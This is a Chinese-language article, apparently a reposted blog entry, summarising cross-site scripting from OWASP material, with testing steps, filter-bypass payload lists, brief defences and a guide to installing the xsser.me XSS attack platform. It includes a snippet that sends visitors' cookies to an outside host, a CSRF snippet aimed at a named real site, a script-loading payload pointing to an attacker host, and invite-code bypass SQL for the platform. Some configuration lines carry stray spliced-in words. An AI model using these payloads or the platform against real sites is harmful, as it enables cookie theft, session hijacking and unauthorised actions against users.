XSS（跨站腳本攻擊）的最全總結
從OWASP的官網意譯過來，加上本身的理解，算是比較全面的介紹。有興趣的可私下交流。php
XSS 跨站腳本攻擊
====================================================================================================================================================
* 什麼是XSS
** 綜述
Cross-Site Scripting（XSS）是一類注入問題，惡意腳本被注入到健康的、可信任的網站。當一個攻擊者經過一個網站應用程序，
以瀏覽器端腳本的形式，給另外一端的用戶發送惡意代碼時，XSS攻擊就發生了。容許這種攻擊成功的缺陷普遍存在於各個大小網站，
只要這個網站某個頁面將用戶的輸入包含在它生成的動態輸出頁面中而且未經驗證或編碼轉義，這個缺陷就存在。
攻擊者使用XSS發送惡意腳本給一個不持懷疑態度的用戶，用戶端的瀏覽器無法知道腳本可不可信，從而執行該js腳本。由於瀏覽器
認爲該腳原本自於一個可信賴的網站，致使惡意腳本能夠訪問任何cookies信息、會話令牌、或者其餘由瀏覽器保存的但由那個網站
使用的敏感信息，甚至能夠修改當前網頁內容。
存儲型XSS：存儲在數據庫，是永久的，除非數據庫被重置或者惡意語句被人工刪除。攻擊者引導用戶到一個特定的頁面。
反射型XSS：惡意腳本沒有存儲在遠端的網站應用中，須要社會工程學配合，好比經過郵件或聊天軟件發送連接。主要用來竊取cookie。
** 跨站腳本發生在何時？
- 數據經過一個不可信的源，大多數時是一個頁面請求，進入網站應用。
- 數據未經驗證是否含有惡意內容，就包含在動態內容中發送給網站用戶。
發送到瀏覽器的惡意內容一般以一段js腳本的形式存在，但也多是html、flash或者任何其餘可能被瀏覽器執行的代碼。基於xss的攻擊是
多樣化沒有限制的，常見的有傳輸私密數據，像cookies或其餘會話信息，對攻擊者而言，重定向或引誘受害者到由攻擊者所控制的頁面，或者
假裝成可信賴網站，直接在用戶機器上執行惡意操做。
** 分類
XSS攻擊一般被分爲兩類：存儲型和反射型。還有第三類，不那麼知名的，基於DOM的xss。
- 存儲型
注入的腳本被永久的存儲在了目標服務器中，好比數據庫、論壇帖子、訪問日誌、留言評論等。受害者向服務器請求獲取存儲的信息時，
就得到了這些惡意腳本。存儲型XSS也被稱爲持久型或I-型XSS。
- 反射型
注入腳本從網站服務器被反彈回來，好比錯誤消息、搜索結果、或者任何其餘響應（這些響應徹底或部分包含了用戶在瀏覽器輸入的內容）。
反射型攻擊經過其餘途徑傳遞到受害者，好比郵件、或其餘網站。當用戶被引誘點擊惡意連接，提交一個特別構造的表單、或瀏覽一個惡意
站點，注入腳本傳送到了脆弱站點並反射給用戶的瀏覽器，瀏覽器認爲該連接來自一個可信的服務器就執行了它。反射型XSS也稱爲非持久型
或II-型XSS。
- DOM型
DOM型XSS又稱0-型xss。攻擊者提交的惡意數據並未顯式的包含在web服務器的響應頁面中，但會被頁面中的js腳本以變量的形式來訪問到，
致使瀏覽器在渲染頁面執行js腳本的過程當中，經過DOM操做執行了變量所表明的惡意腳本。這種也被歸類爲‘client-side xss’。
前兩類xss攻擊中，服務器的響應頁面中顯式的包含了惡意內容，被歸類爲‘server-side xss’。
** 攻擊後果
不管是存儲型、反射型仍是DOM型，攻擊後果都是相同的。不一樣點在於payload到達服務器的方式。不要愚蠢的認爲一個只讀的站點對反射型xss
是免疫的。xss會引發一系列的問題，嚴重程度從噪音干擾到徹底的帳戶危害。大多數嚴重的xss攻擊涉及用戶回話cookie泄露，容許攻擊者劫持
用戶的會話從而接管帳戶。其餘破壞性攻擊包括終端用戶文件泄露、特洛伊木馬安裝、重定向用戶到其餘頁面或站點、或修改頁面內容。xss弱點
引發的新聞稿或新聞條目被修改會影響公司股價或削弱消費者信心。一個醫藥站點的xss缺陷容許攻擊者修改劑量信息致使用藥過量。
** 如何判斷網站是否脆弱
網站應用中的xss缺陷是難以識別和移除的。最好的檢測和發現缺陷的方法就是進行代碼的安全審計，搜索全部可能的接收用戶數據輸入的地方，
而且輸入的數據會顯示在網站服務器響應的頁面中。請注意，各類不一樣的HTML標籤能夠用來傳輸惡意腳本。Nessus、Nikto等工具能夠幫助咱們
掃面網站的xss缺陷，可是不夠周祥和深入。若是網站某一部分是能夠入侵的，那麼其餘問題也存在的可能性就很高。
** xss防護
- 防護手冊 https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- 自動檢測dom缺陷的chrome插件 http://code.google.com/p/domsnitch/
** 反射型xss測試
*** 概要
反射型注入攻擊發生在用戶打開一個惡意構造的連接或第三方網頁，攻擊字符串包含在構造的url中或者是http參數中，web應用沒有
適當的處理並返回給受害者。
反射型的攻擊負載經過單一的請求和響應被傳遞和執行。若是一個網站存在xss缺陷，它會將請求中附帶的參數不經驗證的回傳給客戶端。
這種攻擊最多見的作法分兩步：設計，攻擊者建立和測試構造的惡意連接；社會工程學，確信受害者會經過瀏覽器加載這個url並最終執行。
一般，攻擊代碼使用js編寫，但其餘語言好比action script、vb script等也會用到。攻擊者能夠安裝鍵盤記錄器、竊取cookies、粘貼板、
改變頁面內容（好比下載連接）。
預防xss漏洞的主要難點之一是合適的字符編碼。一些狀況下，web服務器不能過濾某些字符編碼，好比能夠過濾‘<script>’，可是沒法
過濾%3cscript%3e。
*** 如何測試
**** 黑盒測試
黑盒測試至少包含3個階段：
- 一、探測輸入向量。每個網頁，測試者必須斷定網站應用定義了哪些變量、如何輸入他們。這些變量也包含隱藏的或非顯式的輸入，好比
http參數、post數據、隱藏的表單字段、預約義的單選鈕或複選框的值。瀏覽器內置的HTML編輯器或web代理能夠用來審查這些隱藏的變量。
- 二、分析每一個輸入向量去檢測潛在的漏洞。爲了檢測潛在xss漏洞，測試者應爲每一個輸入向量構造特別的填充數據。測試數據能夠經過模糊測試
工具生成，自動生成預約義的攻擊字符串列表，或者人工。逃避xss過濾的攻擊列表。
- 三、對每一個嘗試過的輸入，測試者根據反饋頁面斷定是否它表明一個漏洞並對網站安全構成實際威脅。這個須要檢查結果頁面並搜尋輸入的
數據。一旦找到，測試者就可識別出那些特別的未經編碼、替換、過濾的數據。理想狀況下，全部的HTML關鍵字都須要通過html實體編碼。
作關鍵的幾個須要編碼的字符是：{< > & ' "}。
**** XSS過濾繞過
請參考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
當網站應用清理輸入、網站應用防火牆或瀏覽器內置的機制阻止惡意輸入時，反射型xss就會被阻攔。可是測試者必須假定瀏覽器不會
阻攔這類攻擊，好比版本陳舊、內置安全功能被禁用等，並測試全部可能的漏洞。相似的，網站防火牆不能保證識別新奇的、未知的攻擊。
攻擊者能構造防火牆沒法識別的攻擊字符串。
所以，防護xss攻擊主要依賴網站應用清理不可信任的用戶輸入。有幾種清理辦法，好比返回錯誤、過濾或轉義關鍵字。同時這些預防手段
也造就了另一個弱點：黑名單不可能囊括全部可能的攻擊字符串、白名單可能過渡受權，這時清理就會失敗，致使某類輸入被不正確的信任
並未被清理。
**** 攻擊測試的例子
- http://example.com/index.php?user=<script>alert(123)</script>
- http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
- 標籤屬性值
<input type="text" name="state" value="INPUT_FROM_USER">
" onfocus="alert(document.cookie)
- 不一樣的語法或編碼
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e
- 非遞歸性過濾
<scr<script>ipt>alert(document.cookie)</script>
- 繞過正則過濾
模式串 $re = "/<script[^>]+src/i";
添加額外的屬性，繞過 http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
- HTTP parameter pollution
https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
http參數污染，查詢字符串或表單提交的參數中某個同名參數出現了屢次，apache等web服務器解析協議參數時的方式各異，
網站應用程序的各個組件所使用的參數值不一致。
** 存儲型XSS測試
*** 概述
存儲型XSS是最危險的跨站腳本攻擊。網站應用程序容許用戶存儲數據，這類網站就潛在的暴露在這類攻擊面前。
當網站應用從用戶那裏蒐集輸入的數據，而後存儲起來以備後用，但這些輸入沒有通過正確的過濾，結果惡意數據被作爲網站
頁面的一部分得以呈現，並運行在用戶瀏覽器中且擁有網站應用程序所屬用戶的權限。
這種漏洞能夠被用來實施基於瀏覽器的攻擊：
- 劫持用戶瀏覽器
- 捕獲用戶所瀏覽的網站敏感信息
- 對內網主機進行端口掃描
- 基於瀏覽器利用的定向投遞
存儲型xss不須要利用惡意連接，用戶訪問某個加載了以前存儲的xss代碼的頁面時就會觸發。攻擊場景通常有下面幾個階段：
- 攻擊者存儲惡意代碼到由漏洞的頁面
- 用戶經過應用程序的身份認證
- 用戶訪問漏洞頁面
- 惡意代碼被用戶的瀏覽器執行
這類攻擊能夠結合瀏覽器利用框架好比beef、xss prox、backframe。這些框架容許複雜的腳本利用開發。
當訪問漏洞頁面的用戶有比較高的權限時，這類攻擊特別危險。好比當管理員訪問漏洞頁面時，這類攻擊就自動被瀏覽器執行。
這就可能暴露敏感信息好比會話令牌。
*** 如何測試
**** 黑盒測試
識別存儲型漏洞的過程和以前測試反射型漏洞相似。
***** 輸入表單
第一步是找出哪些地方的用戶輸入會被存儲到後端並會被渲染顯示在前端。典型的存儲用戶輸入的地方有：
- 用戶|配置，網站應用容許用戶修改我的配置詳細信息，好比姓名、暱稱、頭像、地址等；
- 購物籃，
- 文件管理器，應用程序容許文件上傳
- 應用程序偏好設置
- 論壇|消息面板，容許用戶之間互相發送消息
- 博客，容許用戶留言評論
- 日誌，若是網站應用將某些用戶的輸入存進日誌
***** 分析HTML代碼
用戶輸入被網站應用存儲後，通常會在顯示時當作html標籤的屬性值。這一步中，最根本的是去理解輸入部分被渲染顯示時，
在頁面上下文中是怎麼被安放的。全部可能被管理員看到的輸入部分都須要被測試。
好比，後臺用戶管理中某個用戶的詳細信息，有郵件：
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
這時，能夠在<input>標籤後面注入惡意代碼：
<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />
***** 試驗是否能夠注入
這就涉及輸入驗證、後端的過濾規則。好比注入：
aaa@aa.com"><script>alert(document.cookie)</script>
aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
爲了保證注入的數據被提交，一般須要暫時禁用瀏覽器的js代碼執行、或在本地代理的http編輯器中修改請求的原始數據。
可是提交後，可能被網站應用程序過濾，好比script被替換成了空格或者空串，這就是一個潛在的過濾信號，固然有不少規避
過濾的技術。
***** 利用存儲的注入代碼
存儲的惡意代碼能夠被高級js利用框架利用，好比beef、xss-proxy、backframe。
一個典型的beef利用場景涉及：
- 注入一段js鉤子代碼，能夠與攻擊者的瀏覽器利用框架通訊
- 等待網站用戶訪問漏洞頁面
- 經過beef控制檯控制網站用戶的瀏覽器
beef能夠訪問用戶的cookies、屏幕截圖、剪貼板、以及發起更復雜的xss攻擊。若是這個漏洞頁面會被擁有不一樣權限的用戶訪問，
那麼這個攻擊是至關有效的。
***** 文件上傳
若是網站應用容許文件上傳，須要檢測下是否能夠上傳html內容。若是html或txt文件被容許，那麼xss負載就能夠被注入。
滲透測試人員應該驗證是否這個上傳點容許設置任意的MIME類型。這個設計缺陷容許瀏覽器的MIME誤處理攻擊。好比，看起來無害的
JPG和GIF文件包含xss負載，可能在被瀏覽器載入的時候獲得執行。這個是可能的，當本應設置MIME爲image/gif時卻設置爲text/html。
這種狀況下，文件被客戶端瀏覽器建立爲HTML。
僞造POST請求：
Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html
<script>alert(document.cookie)</script>
** DOM型XSS測試
*** 概述
DOM型跨站腳本事實上是瀏覽器端的動態內容所引發的xss bug。典型的，好比js，獲取用戶輸入並用它作了一些不安全的事情致使注入代碼
被執行。本文只是討論 js bug 所引發的xss漏洞。
DOM，全稱爲Document Object Model，是一種結構化的格式，被用來表達瀏覽器中的文檔。DOM容許動態腳本，好比js，來引用文檔中的
組件，好比表單字段、或會話令牌。DOM也被瀏覽器來實現安全策略，好比同源策略限制跨域DOM操做。當動態內容，好比js函數被一個構造的
請求修改，dom元素能夠被攻擊者控制，從而造成xss漏洞。
不多有這方面的論文發表，所以它的含義和正規測試方法幾乎沒有標準的定義。
*** 如何測試
不是全部的xss bug都須要攻擊者去控制從服務器返回的動態頁面，可是氾濫的愚蠢的js編碼會致使一樣的結果。
與其餘類型的xss漏洞（服務器未清理用戶提交的參數，回傳給用戶瀏覽器端並獲得執行）相比，dom-xss 能夠控制代碼的執行流程。
大多數狀況下，dom-xss能夠在服務端不知情的狀況下執行。好比：
<script>
document.write("Site is at: " + document.location.href + ".");
</script>
攻擊者追加#<script>alert('xss')</script>到頁面的url後面，當執行時會彈窗。這個例子中，追加的代碼不會被髮送到服務端，由於#
後面的字符串根本沒有被瀏覽器當作查詢字符串的一部分，而是做爲一個錨標記，於是無需和服務器取得聯繫。
dom-xss的攻擊後果和其餘更知名的xss攻擊同樣普遍，cookies獲取、更進一步的惡意腳本注入，因此應該被劃分到一樣的嚴重等級。
**** 黑盒測試
dom-xss的黑盒測試是沒必要要的，由於前端的源碼老是可見的，瀏覽器須要從服務端那獲取並執行。
**** 灰盒測試
js應用程序和其餘的應用程序有顯著的區別，由於他們是由服務端動態產生的，爲了理解什麼代碼正在被執行，測試者須要爬行站點來
斷定正在被執行的腳本和哪些地方是接收用戶輸入的。許多站點依賴大量的庫函數，伸展開後有成百上千行代碼而且不是內部開發的。這種
狀況下，自頂向下的測試經常是惟一可行的選擇，由於許多底層的函數從沒用到過，從中分析哪些是弱點耗費太多時間。對於自頂向下測試，
是否能識別哪些地方接收用戶輸入一樣相當重要。
用戶輸入來源有兩種形式：
- 服務端動態寫入，不容許直接的xss
- 客戶端腳本對象中獲取的變量
下面是服務端插入數據到js腳本中的兩個例子：
var data = "<escaped data from the server>";
var result = someFunction("<escaped data from the server>");
下面是從客戶端js對象中獲取輸入的兩個例子：
var data = window.location;
var result = someFunction(window.referer);
對於js代碼來講，兩種獲取輸入的方式基本沒有差別，重要的是當從服務端獲取輸入時，服務端能對數據應用任何的排列組合，
然而js對象中獲取的輸入卻很好理解。因此，若是上例中的js函數是弱點的話，前例中的漏洞利用依賴服務端的過濾，後例中的
利用依賴於瀏覽器對window.referer對象的編碼。 參考 https://code.google.com/p/domxsswiki/wiki/LocationSources
另外，js腳本也經常會在script標籤外部執行，過去許多的攻擊向量都致使了xss攻擊已經證明了這一點。因此，在爬行站點時，
留意諸如‘事件處理器’、‘帶有expression屬性的css語句塊’等這些地方的代碼是很重要的。
自動化測試在識別和驗證dom-xss漏洞時是很弱的，由於他僅僅是發送特定的負載並嘗試審查服務器響應的頁面。這個可能在一些
簡單的例子中工做得比較好，好比那些參數被反射回給用戶的狀況：
<script>
var pos=document.URL.indexOf("message=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</script>
可是下面不天然的例子沒法被檢測到：
<script>
var navAgt = navigator.userAgent;
if (navAgt.indexOf("MSIE")!=-1) {
document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
}
else
{
document.write("You are using an unknown browser.");
}
</script>
基於這樣的緣由，自動化測試一般沒法檢測dom-xss漏洞，除非測試工具能對客戶端腳本執行額外的分析。
人工測試應該進行，檢查某些代碼區域，那些區域中的參數對攻擊者而言是有用的。好比，代碼被動態寫到頁面、dom樹被修改、
甚至腳本被直接執行。參考 http://www.webappsec.org/projects/articles/071105.shtml
* 能夠往數據庫中寫入數據，若是能找到用戶評論或反饋表，那就足夠了
- 將html和js代碼當作字符串，使用十六進制編碼，而後在sql注入點使用insert插入到該表。
在被攻擊頁面插入以下js便可。
var img=document.createElement("img");
img.src="http://yourweb.com/listen?"+escape(document.cookie);
document.body.appendChild(img);
而後在web日誌中可查看竊取的cookie信息
若是，想讓某人刪除某篇文章，那麼只須要讓某人執行(CSRF)
var img=document.createElement("img");
img.src="http://www.myhack58.com/max/admin/admin_news.asp?action=del&id=8";（找到刪除文章的url替換之）
document.body.appendChild(img);
* XSS攻擊試探
** 沒有任何過濾
<script>alert('xss')</script>
** 過濾關鍵字script，但大小寫不敏感
<ScripT>alert('xss')</ScripT>
** 過濾了模式串<*s*c*r*i*p*t，並且大小寫敏感
<img src='xx' onerror=alert('xss')>
** 進行了html編碼
沒得玩！！！
* 常見XSS攻擊代碼
** 錨標記一句話執行
<script>eval(location.hash.substring(1))</script></br>
** 續行、冒號進行html編碼
<a href="javasc
ript:alert(1)">click</a> </br>
** img標籤帶上事件
<IMG 「」><SCRIPT>alert(\'bask-slash no change to run\')</SCRIPT>」></br>
<IMG 「」><SCRIPT>alert('img1')</SCRIPT>」></br>
<IMG 「」"><SCRIPT>alert('img2')</SCRIPT>」></br>
<IMG 「」><SCRIPT>alert('img3')</SCRIPT>></br>
- js的unicode編碼，html十進制、十六進制編碼
<img src="x" onerror="\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded')"></br>
<img src="x" onerror="alert(1)"></br>
<img src="x" onerror="alert('html编码')"></br>
<script>\u0061\u006c\u0065\u0072\u0074('js-unicode-encoded1111')</script>
** data中對網頁內容進行base64編碼，好比 <img src=x onerror=alert('base64')>
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KCdiYXNlNjQnKT4=">test</a></br>
** js8進制、16進制編碼字符串變量
好比 "<img src="x" onerror="alert(1)"></br>"
document.body.innerHTML='\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x31\x36\x8fdb\x5236\x27\x29';
document.body.innerHTML=’\74\151\155\147\40\163\162\143\75\42\170\42\40\157\156\145\162\162\157\162\75\42\141\154\145\162\164\50\61\51\42\76\74\57\142\162\76‘；
抵禦XSS
=================================================================================================================================================================
thinkphp框架中有表單提交數據的過濾，默認採用html實體編碼進行轉義，就是所謂的I函數。
瀏覽器解釋器詞法分析遇到轉義的字符，就認爲他是不可執行的，而後接着去反轉義，接着當作數據去顯示，沒有當作js代碼去執行。再解釋一次就能夠獲得執行。
好比：在firebug中用元素審查，隨便加個空格
post表單提交的漢字的傳輸編碼由<meta charset>指定，
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
傳輸中爲%e4%bd%a0
不過地址欄附加的url參數，漢字默認爲gbk編碼，這裏爲%c4%e3，好比你在百度搜索框輸入"你被入侵了"，而後查看地址欄url參數。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'
抵禦XSS攻擊，只需作到兩點：
一、全部前端的頁面渲染，儘可能使用ajax異步進行，從後臺獲取要顯示的數據。
二、前端提交過來的數據，在後臺入口處通通對HTML中的關鍵字進行html編碼轉義。
作到上面方可基本無憂。
附帶xss攻擊平臺的搭建方法css
=======================================html
xsser.me 攻擊平臺
=================================================================================================================
* 參考 https://hack0nair.me/2014-09-20-how-to-setup-a-xss-platform/
- 解壓後注意給予apache或nginx用戶的訪問權限，不然smarty模板引擎沒法編譯出中間文件。前端
* 安裝
- 修改config.php裏面的數據庫鏈接參數，包括用戶名，密碼，數據庫名，訪問URL起始和僞靜態的設置，其中主機名可帶端口號。
- 在根目錄下有文件xssplatform.sql，導入到數據庫。
- 進入數據庫執行語句修改域名爲本身的，UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss');
同時替換authtest.php中的網址。
- 郵件提醒功能，自行修改文件\source\function.php中SendMail函數，把裏面的郵箱帳號密碼換一下。
- 新增飛信短信提醒功能，修改\source\api.php中調用SendSMS一行。
- 開啓apache或nginx的重寫模式。下面給出apache2.2的配置：
<VirtualHost *:8081>java
DocumentRoot /var/www/html/
ServerName vul.comnginx
Alias /dvwa /var/www/html/DVWA/
<Directory /var/www/html/DVWA/>
Options FollowSymLinks
AllowOverride None
Order allow,deny
Allow from 10.46.125.134
Allow from 120.76.97.113
Allow from 127.0.0.1
Allow from 10.116.1.139
Allow from 112.74.100.44
Allow from 113.119.81
</Directory>web
Alias /xss /var/www/html/xss_platform/
<Directory /var/www/html/xss_platform>
options FollowSymLinks
AllowOverride all #此處是爲了讓網站目錄下的.htaccess生效
order allow,deny
Allow from all
</Directory>ajax
#RewriteLogLevel 3
#RewriteLog "/tmp/vul.com-rewrite.log"sql
ErrorLog "/tmp/vul.com..error-log"
CustomLog "/tmp/vul.com.log" common
</VirtualHost>chrome
* 註冊問題（默認是邀請註冊）
- 自助生成邀請碼，INSERT INTO `oc_invite_reg` (`id`, `userId`, `inviteKey`, `isUsed`, `regUserId`, `regTime`, `addTime`, `isWooyun`) VALUES (1, 1, '1', 0, 0, 0, 0, 0);
而後使用其生成的邀請碼‘1’，註冊一個帳號便可。
- 備註：註冊成功用戶後，修改管理員表oc_user中的adminlevel爲1，可定義自身爲最高管理員可發送邀請碼。
* 用途 - 只是做爲xss盲打的輔助工具，盲打後坐登通知，再利用其它高級工具好比xenotix、beef、蟻逅等進行漏洞利用。
相關文章
- 1. XSS跨站腳本攻擊
- 2. 跨站腳本攻擊XSS
- 3. XSS 跨站腳本攻擊
- 4. XSS-跨站腳本攻擊
- 5. xss跨站腳本攻擊
- 6. 跨站腳本攻擊—XSS
- 7. 跨站腳本攻擊（xss）
- 8. XSS（跨站腳本攻擊）
- 9. 跨站腳本攻擊（XSS）
- 10. XSS攻擊（跨站腳本攻擊）
- 更多相關文章...
- • Swift 下標腳本 - Swift 教程
- • 服務端腳本 指南 - 網站建設指南
- • Tomcat學習筆記（史上最全tomcat學習筆記）
- • PHP Ajax 跨域問題最佳解決方案
相關標籤/搜索
每日一句
-
每一个你不满意的现在，都有一个你没有努力的曾经。
最新文章
- 1. 字節跳動21屆秋招運營兩輪面試經驗分享
- 2. Java 3 年，25K 多嗎？
- 3. mysql安裝部署
- 4. web前端開發中父鏈和子鏈方式實現通信
- 5. 3.1.6 spark體系之分佈式計算-scala編程-scala中trait特性
- 6. dataframe2
- 7. ThinkFree在線
- 8. 在線畫圖
- 9. devtools熱部署
- 10. 編譯和鏈接
歡迎關注本站公眾號,獲取更多信息
相關文章
- 1. XSS跨站腳本攻擊
- 2. 跨站腳本攻擊XSS
- 3. XSS 跨站腳本攻擊
- 4. XSS-跨站腳本攻擊
- 5. xss跨站腳本攻擊
- 6. 跨站腳本攻擊—XSS
- 7. 跨站腳本攻擊（xss）
- 8. XSS（跨站腳本攻擊）
- 9. 跨站腳本攻擊（XSS）
- 10. XSS攻擊（跨站腳本攻擊）